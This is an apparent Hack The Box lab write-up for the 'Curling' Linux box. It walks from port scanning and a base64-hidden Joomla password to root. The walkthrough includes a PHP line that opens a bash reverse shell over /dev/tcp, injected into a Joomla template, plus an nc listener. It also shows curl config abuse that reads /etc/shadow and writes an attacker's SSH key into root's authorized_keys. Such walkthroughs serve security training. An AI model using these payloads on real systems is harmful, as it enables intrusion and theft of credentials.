HTB Write-up: Curling

10 minute read

Curling is an easy-difficulty Linux box. The great thing about Curling is all of the small, simple steps that are required to complete it. The machine includes a website built by a content management system (CMS) called Joomla. The administrator of the website, Floris (who, judging by the content of the website is a devoted curling enthusiast), thought they were being tricky hiding important base64-encoded information in HTML code. Once this secret information has been leveraged to access the machine as the floris user, the hobby that Floris loves most (namely, cURLing) results in their timely demise…


Note: I completed this challenge on December 19th, 2018, however I’m just now writing it up in December 2019. As such, some of the details are sparse.


To begin enumeration, the masscan tool was used to scan the target system for open ports.

root@kali:~/workspace/hackthebox/Curling# masscan -e tun0 -p 1-65535 --rate 2000

Starting masscan 1.0.5 ( at 2019-12-22 15:32:02 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on                                    
Discovered open port 80/tcp on    

This scan revealed that TCP ports 22(SSH) and and 80(HTTP) were open and listening for connections. Taking these open ports, the nmap tool was then used to further enumerate the open ports.

root@kali:~/workspace/hackthebox/Curling# nmap -p 22,80 -sC -sV -oA scans/discovered-tcp
Starting Nmap 7.80 ( ) at 2019-12-22 08:34 MST
Nmap scan report for
Host is up (0.057s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.33 seconds

As expected, port 22 is listening for connection as a SSH server and port 80 is acting as the webserver HTTP port.

Browsing to the HTTP service at confirms the website’s presence. The home page contains some information about the sport of curling as well as a login form.


Before poking around with the website, a gobuster scan was initiated with the goal of discovering website directories.

root@kali:~/workspace/hackthebox/Curling# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u

As the scan was running, the HTML source code of the homepage was inspected. The meta tags confirm that this website is using the “Joomla!” content management system.


In addition, the last three lines of HTML include a comment that reference a secret.txt file.


Browsing to reveals the following text:


From the home page, it appears that the informational posts have been written by the “Super User” user and are signed with “-Floris”, suggesting that Floris may be an administrator of this website.


Using the string from secret.txt as a password and usernames such as “admin”, “administrator”, and “floris”, attempts were made to log in using the login form on the home page, but to no avail.

Further examining the text within the secret.txt file suggests that it could be a base64 encoded string. To test this theory, the Q3VybGluZzIwMTgh string was saved to a local secret.txt file on the attacking system and was then base64 decoded, revealing the Curling2018! string.

root@kali:~/workspace/hackthebox/Curling# base64 -d secret.txt 

The username/password combination of floris / Curling2018! can be used to log in to the website. Posts can be made and the website can be modified, however this doesn’t appear to provide much of advantage.

Looking at the results of the now complete gobuster scan, a variety of directories were returned.

/images (Status: 301)
/templates (Status: 301)
/media (Status: 301)
/modules (Status: 301)
/bin (Status: 301)
/plugins (Status: 301)
/includes (Status: 301)
/language (Status: 301)
/components (Status: 301)
/cache (Status: 301)
/libraries (Status: 301)
/tmp (Status: 301)
/layouts (Status: 301)
/administrator (Status: 301)
/cli (Status: 301)
/server-status (Status: 403)

As the /administrator directory sounds lucrative, the directory was visited which reveals a “Joomla!” login page.


Using the same credentials as before (floris / Curling2018!), the Joomla! administrator console can be accessed. From this console, there are a lot of possibilities. For example, users can be edited, templates can be modified, and extensions can be installed.


From the sidebar under the “Configuration” header is the option to edit templates. Navigating to this page shows that the default “protostar” template is currently in use.


Clicking on the “Protostar” link under the “Template” column shown in the image above directs to a page that allows for the files included in the template to be edited. Also, this page shows that the templates include PHP files.

Checking out the index.php file confirms that this file builds the home page present at, as the last three lines of contain the same reference to secret.txt as found in the HTML source code previously.


The index.php file was next edited to include the code shown below:

echo exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'");

This was placed in the index.php file as represented in the following screenshot.


After saving the changes and starting a nc listener on the attacking machine (nc -lp 4444 will do the trick), browsing to the URL results in a reverse shell on the target system as the www-data user.


The shell was upgraded using python3 -c 'import pty;pty.spawn("/bin/bash")' before moving on. This process can be accomplished by completing the following steps:

  1. On the target system, run python3 -c 'import pty;pty.spawn("/bin/bash")'
  2. Issue the ^Z signal (Ctrl + z)
  3. On the attacking system, run stty raw -echo; fg
  4. Issue the ^C signal (Ctrl + c)

This is demonstrated in full within the text below.

www-data@curling:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@curling:/var/www/html$ ^Z
[1]+  Stopped                 nc -lp 4444
root@kali:~/workspace/hackthebox/Curling# stty raw -echo; fg
nc -lp 4444

As the www-data user, the user.txt flag cannot be read as it is owned by the user floris. In the floris user’s home directory, however, there is a world-readable file called password_backup that contains what appears to be the result of an xxd command.

00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48  

Before working with this file further, it was transferred to the attacking system using scp.

www-data@curling:/home/floris$ scp ./password_backup root@

From xxd -h, the -r flag can be used to reverse an operation. Running the xxd -r password_backup > output command creates the output file that contains the reuslt of the xxd -r command. The file tool was used to determine what kind of data is within the file.

root@kali:~/workspace/hackthebox/Curling# file output 
output: bzip2 compressed data, block size = 900k

The command bunzip2 output can be used to decompress the output file. This results in the output.out file, which is of a different file type.

root@kali:~/workspace/hackthebox/Curling# file output.out 
output.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141

The output.out file should be renamed to output_1.gz before being decompressed with gunzip.

root@kali:~/workspace/hackthebox/Curling# mv output.out output_1.gz && gunzip output_1.gz

This results in the output_1 file which is another bzip2 compressed file. The bunzip2 command is used once again.

root@kali:~/workspace/hackthebox/Curling# bunzip2 output_1

The resulting file output_1.out is a POSIX tar archive.

root@kali:~/workspace/hackthebox/Curling# file output_1.out 
output_1.out: POSIX tar archive (GNU)

The contents of this archive can be extracted with the tar.

root@kali:~/workspace/hackthebox/Curling# tar -xvf output_1.out

This results in the password.txt file being extracted from the archive. The contents of this file contains the password for the floris user.

root@kali:~/workspace/hackthebox/Curling# cat password.txt

This password can be used to access the target system using SSH. From this position, the user.txt flag file can be read.

floris@curling:~$ cat user.txt


The path to privilege escalation can be seen in the output of the ps waux | grep root command. This command shows the processes on the system that are running as the root user.

From the output of the ps waux | grep root command, there is a process running as root that is issuing the curl command shown below:

/bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report

From the output of curl --help | grep '\-K', it can be seen that the command is using the /home/floris/admin-area/input file as a configuration file.

floris@curling:~/admin-area$ curl --help | grep '\-K'
 -K, --config <file> Read config from a file

The result of this curl command is then being written to the /home/floris/admin-area/report file as specified with the -o flag.

While the root user is the owner of the input and report files, users in the floris group are able to read and write to the these files.

-rw-rw---- 1 root   floris   25 Dec 22 17:54 input
-rw-rw---- 1 root   floris  14K Dec 22 17:54 report

Examining the input file reveals that the curl command is directed towards the URL – the address of localhost.

floris@curling:~/admin-area$ cat input 
url = ""

Changing the contents of the input file to the text shown below results in the contents of the /etc/shadow being written to the report file.

url = "file:///etc/shadow"

The /etc/shadow file contains hashed passwords for system users, including the password hash for the root user. After a few seconds, the contents of the report file will be overwritten with the contents of /etc/shadow. The output below is a truncated version of the target system’s /etc/shadow file.

floris@curling:~/admin-area$ cat report

The password hash the root user can be copied to a file on the attacking system. Then, hashcat can be used to attempt to crack the password hash.

root@kali:~/workspace/hackthebox/Curling# cat root-hash.txt 

Since the hash begins with $6, this suggests that the hash is a sha512crypt.

root@kali:~/workspace/hackthebox/Curling# hashcat -h | grep sha512crypt
   1800 | sha512crypt $6$, SHA512 (Unix)                   | Operating Systems

The hashcat command that was used in attempt to crack the password hash is shown below. Note that the password was not cracked.

root@kali:~/workspace/hackthebox/Curling# hashcat -m 1800 root-hash.txt /usr/share/wordlists/rockyou.txt --force

As the password hash was not cracked by the hashcat command above, an alternative privelege escalation method was required.

Looking further into the curl configuration file -K flag, it appears that additional arguments can be set from within the configuration file. From man curl, an example is given.

# --- Example file ---
# this is a comment
url = ""
output = "curlhere.html"
user-agent = "superagent/1.0"

# and fetch another URL too
url = ""
referer = ""
# --- End of example file ---

From this, it appears that the output variable can be set within a configuration file to specify where the output of the curl command should be written.

From here, the input file that acts as a configuration file for curl when run on the target system was changed as represented below.

url = ""
output = "/root/.ssh/authorized_keys"

After serving the SSH public key on the attacking system using python -m SimpleHTTPServer 80, the target system writes the contents of the attacking system’s public SSH key to the target system’s /root/.ssh/authorized_keys directory which allows the attacking system to SSH to the target system as root.

This process is shown below. The loop demonstrates starting Python’s SimpleHTTPServer on the attacking system, editing the input file on the target system to interact with the attacking system, the target system requesting the attacking system’s file, and finally accessing the target system as root over SSH. Note that the duration of one loop is ~30 seconds.


The root.txt flag can now be read.

root@curling:~# cat root.txt